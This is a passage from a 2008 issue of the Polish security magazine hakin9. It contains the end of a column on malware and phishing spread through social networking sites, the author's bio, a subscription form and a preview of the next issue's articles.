poruszony temat ataków, które wynikają z użytkowania serwisów społecznościowych 

opartych na idei Web 2.0. Przedstawiony temat został omówiony ze strony serwisu 

jako nieświadomego agresora wykonującego za pomocą swoich użytkowników 

przeróżnego rodzaju ataki.

Wszyscy użytkownicy 

powinni być świadomi 

skali zagrożeń, jakie 

czyhają w Internecie. 

W szczególności 

dotyczy to graczy, 

użytkowników serwisów 

społecznościowych, 

emerytów i nastolatków, 

a także ich rodziców 

– Bartosz Świderski, 

konsultant CA

background image

FELIETON

78

 

HAKIN9 9/2008

79

 

HAKIN9 

9/2008

akcja, która by mogła zbyt szybko 
wzbudzić podejrzenia – czyli propagacja 
kodu odbywa się za pomocą list 
warunkowych w celu podniesienia 
prawdopodobieństwa, że komputer 
zostanie zarażony. Strona jest 
utrzymywana w technice fast-flux, by 
zamaskować źródło jej pochodzenia, a 
infekcja odbywa się poprzez atak typu 
drive-by download polegający na 
pobraniu złośliwego oprogramowania na 
lokalny komputer bez wiedzy użytkownika. 
Dodatkowo każdy użytkownik będący 
aktualnie zalogowany w serwisie 
atakowany jest samopowielającym się 
kodem, atakującym wszystkie osoby, 
które są wymienione na liście znajomych 
właściciela danego profilu. W tym 
przypadku nie jest wymagana nawet 
promocja spreparowanej strony w 
serwisie. Wystarczy, że zostanie 
umieszczony w serwisie prowadzący do 
niej odnośnik, który odwiedzą od jednej 
do dwóch osób - oceniające jej 
zawartość, a będące podatne na atak; po 
czym kod zostanie rozprzestrzeniony we 
wewnętrznej strukturze drzewa listy 
znajomych z czasem ogarniając 
wszystkie podatne osoby i wydostając się 
na „zewnątrz”. Oczywiście jeśli link do 
naszej strony pojawił by się na czołowym 
miejscu serwisu społecznościowego to 
pole rażenia obejmuje nie tylko 
użytkowników serwisu, ale także wszystkie 
osoby go odwiedzające. W dodatku 
wszelakie wiadomości, które ewentualnie 
by zostały użyte do infekcji kolejnych ofiar 
mogą zostać napisane w dokładnie 
przewidzianym języku ze względu na fakt, 
iż serwisy społecznościowe zazwyczaj 
tworzone są dla wybranych narodowości 
czy grup społecznych operujących 
charakterystycznym sposobem 
komunikacji. W ten sposób średni czas 
infekcji szkodliwym kodem, który aktualnie 
trwa cztery dni jest znacznie skracany. Do 
przeprowadzenia ataku na użytkowników 
serwisu społecznościowych, można 
podejść również od strony informacji 
udostępnianych przez samą społeczność. 
Do tego wystarczy stworzenie automatu 
zbierającego informacje, podobnego do 
tego jakiego używają spamerzy do 
zbierania informacji o adresach e-mail. 
Wystarczy przefiltrować system 
komentarzy, w których bezmyślnie jeszcze 

pozostawiane są adresy IP osób 
komentujących daną treść (w celu ich 
ewentualnej identyfikacji). Daje to 
możliwość stworzenia sporej listy 
podlegającej bezpośredniemu atakowi, 
mającej na celu zainfekowanie 
komputera ofiary. Należy także nie 
zapominać o tym, że coraz więcej 
serwisów tego typu zaczyna tworzyć 
niezależne oprogramowanie dla własnych 
platform mające na celu ułatwienie 
komunikacji społecznych i obsługę 
posiadanych kont, co daje kolejny kanał 
dostępowy dla potencjalnych 
cyberprzestępców. W naturze 
społecznościowych serwisów leży 
również swobodna wymiana zasobami 
pod postacią różnych plików, których 
zawartość należy traktować z bardzo 
dużym dystansem, nawet jeśli pochodzą 
one od znajomych, których konto przecież 
mogło zostać przejęte. Co więcej, serwisy 
oparte wyłącznie na idei ułatwienia 
kontaktów międzyludzkich borykają się z 
coraz większym zjawiskiem spamu. 
Zasada działania pozostaje ta sama – 
dotrzeć do jak największego grona 
odbiorców – i zmusić do wejścia na 
stronę wykorzystującą phishing lub 
malware. Tylko, że w tym wypadku 
zamiast wiadomości e-mail wysyłane są 
zaproszenia do dodania do listy 
znajomych ze specjalnie przygotowanych 
kont. Wielu użytkowników szczycących się 
ilością „znajomych” chętnie korzysta z 
takich ofert. W dodatku miejscem, z 
którego korzystają z serwisów 
społecznościowych wychodzi poza krąg 
rodzinny – np. praca, co stwarza 
dodatkowe zagrożenia dla środowiska, w 
którym aktualnie się znajdują. Aktualnie, 
wiele z serwisów społecznościowych 
zwraca się już w stronę komercjalizacji 
dodatkowych usług i produktów, co na 
pewno znajdzie swoje skutki w formie 
wyłudzeń oraz strat finansowych ze strony 
użytkowników, którzy padli ofiarami tego 

rodzaju nadużyć. To samo tyczy się utraty 
danych osobowych. Należy pamiętać, że 
klienci tego rodzaju serwisów muszą 
zaadoptować takie same formy 
zabezpieczenia jakie stosowane są w 
innych przypadkach komunikacji on-line, 
wliczając w to nieodpowiadanie na 
niechciane wiadomości i nigdy nie 
udostępnianie ani wysyłanie danych 
osobowych, które mogłyby prowadzić do 
kradzieży prawdziwej tożsamości. Wiele 
osób zaczynających przygodę z 
Internetem od tego rodzaju serwisów nie 
jest przygotowana na takie ewentualności. 
Niestety w dodatku tego rodzaju serwisy 
nie posiadają jeszcze żadnych informacji 
o polityce bezpieczeństwa na swoich 
stronach. Gdzieniegdzie można spotkać 
się jedynie z polityką prywatności, która 
ma jedynie zapewnić użytkownika że jego 
dane personalne są niby bezpieczne. 
Wynikać może to z faktu, iż serwisy po 
prostu boją się straty potencjalnych 
użytkowników już przy etapie rejestracji. 
Zjawisko to można doskonale porównać 
z rewolucją jaką wprowadziła bankowość 
elektroniczna – na początku banki 
również ignorowały tego rodzaju 
zdarzenia dopóki ich skala nie osiągnęła 
wydźwięku globalnego. Dzisiaj każdy 
szanujący się bank posiada szczegółowe 
informacje o bezpieczeństwie, prowadzi 
biuletyny z praktycznymi wskazówkami 
oraz na bieżąco informuje swoich 
klientów o wykrytych próbach ataku. To 
samo powinno zostać uczynione w 
kwestii serwisów społecznościowych, 
które można porównać do uli czekających 
na przylot szerszeni. Tam gdzie skupiają 
się użytkownicy, tam podążają 
cyberprzestępcy. Są one po prostu 
kolejną, nową formą dystrybucji informacji 
nie tylko dla „mieszkających” w nich 
społeczności, ale również dla ludzi 
traktujących Internet jako wielkie pole do 
nadużyć i czerpania z tego własnych 
korzyści. 

Patryk Krawaczyński jest studentem Informacji Naukowej 

na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych 

chwilach stara się prowadzić serwis na temat administracji 

oraz podstawowych mechanizmów bezpieczeństwa systemu 

operacyjnego Linux – www.nfsec.pl. Jego zainteresowania 

wiążą się także z ogólnymi zjawiskami zachodzącymi w 

społeczeństwie, na które oddziałują Technologie Informacyjne. 

Kontakt z autorem: agresor@nfsec.pl

background image

Kontakt 

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

      

tylko

219

 

hakin9 – jak się obronić to ukazujący się w dwudziestu 
czterech krajach Europy magazyn o bezpieczeństwie. 
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która 
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy 
administrator. 

,-

background image

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer: 
00 48 22 244 24 59
lub listownie na adres: 
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową, 
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.

Prenumerujesz 

– zyskujesz

l

 

oszczędność

     pieniędzy 

l

 

szybka dostawa 

l

 

prezenty

l

 

bezpieczna płatność 

     ność on–line

Tytuł

Ilość

nume-

rów

Ilość

 zama-

wianych 

prenume-

rat

Od 

numeru 

pisma 

lub mie-

siąca

Cena

hakin9, jak się obronić 

(1 płyta CD)

Miesięcznik o 

bezpieczeństwie

i hakingu 

11

199*/

219

PLN

□  automatyczne przedłużenie prenumeraty

*  cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image

82

 

HAKIN9 9/2008

ZA MIESIĄC

W następnym numerze między innymi:

Numer będzie w sprzedaży

pod koniec września 2008

Aktualne informacje o najbliższym numerze 

znajdziesz na naszej stronie www.hakin9.org/pl.

NA CD

hakin9.live bootowalna dystrybucja Linuksa
Mnóstwo narzędzi – niezbędnik hakera
Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach
Dodatkowa dokumentacja
Pełne wersje komercyjnych aplikacji

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

Atak

DLL INJECTION

Współczesne systemy operacyjne pozwalają 
uruchomić wiele procesów, z których część 
posiada wyższy priorytet niż inne oraz 
może korzystać z większej ilości zasobów 
komputera. Czy jesteśmy jednak pewni, że nie 
da się przejąć kontroli nad tymi procesami 
i wykorzystać ich w sposób niezamierzony? 
Po przeczytaniu artykuł dowiesz się co 
to są zdalne wątki systemu Windows czy 
jak wywołać kod w wybranym procesie. 
Autor pokazał jak w systemie Windows 
wyszukać wybrany proces, oraz jak 
zmienić procedurę obsługi komunikatów 
wybranego okna.

UWAGA! INTRUZ W SYSTEMIE!

Czy zdarzyło Ci się, że pewnego razu, 
bez twojej inwencji, system sygnalizował 
wystąpienie błędu spowodowanego brakiem 
lub uszkodzeniem pewnych plików? A może 
dokumenty, które skrzętnie gromadziłeś na 
dysku twardym, nagle zniknęły, lub napisałeś 
program, który działał doskonale, a któregoś 
dnia po prostu przestał, po czym system 
wysyłał do Ciebie irytujące komunikaty o 
błędzie? Z pewnością każdemu przytrafiła się 
choćby jedna z powyższych sytuacji. Wniosek 
jest prosty – Twoje dane są atakowane. 
Autor przedstawił jak klasyfikuje się wirusy, co 
najczęściej pada ich ofiarą. Przedstawione 

zostało także w jaki sposób infekują swoje 
cele i w jaki sposób ukrywają swoją 
obecność w systemie.

Obrona

BEZPIECZEŃSTWO 
WINDOWS SERVER 2008

Najnowszy produkt serwerowy Microsoftu 
niesie ze sobą wiele zmian, które 
według opinii producenta mają ogromny 
wpływ na komfort jego użytkowania jak 
i bezpieczeństwo samego systemu. 
W niniejszym artykule przyjrzymy się 
nieco bardziej pewnym technologiom 
zastosowanym przez firmę Microsoft, które 
sprawiają, że Windows 2008 jest lepszy 
niż jego poprzednik. Autor przedstawił 
szczegółową budowę Windows Server 
2008, oraz czym jest Network Access 
Protection. Dowiecie się jak bezpieczny jest 
nowy produkt serwerowy Microsoftu i co na 
to się składa.

KRYPTOGRAFICZNE 
MOŻLIWOŚCI SYSTEMÓW LINUX

Jedną z gwarancji bezpieczeństwa 
ważnych informacji jest stosowanie 
zaawansowanych algorytmów 
kryptograficznych. Narzędzia w systemach 
Linuksowych umożliwiają tego typu 
szyfrowanie; pojedynczych plików, 
wybranych katalogów czy nawet całych 
partycji. Autor pokazał nam metody 
zabezpieczenia i szyfrowania poufnych 
danych.

ANALIZA DZIAŁANIA 
PODEJRZANEGO PROGRAMU

Warto zastanowić się nad 

uruchomieniem pobranego z sieci 
przypadkowego pliku. Choć nie każdy 
niesie ze sobą zagrożenie, łatwo trafić 
na złośliwy program wykorzystujący 
naszą naiwność. Możemy za nią słono 
zapłacić. Zanim więc uruchomimy nieznany 
program, spróbujmy przeanalizować jego 
działanie.

background image
background image

Document Outline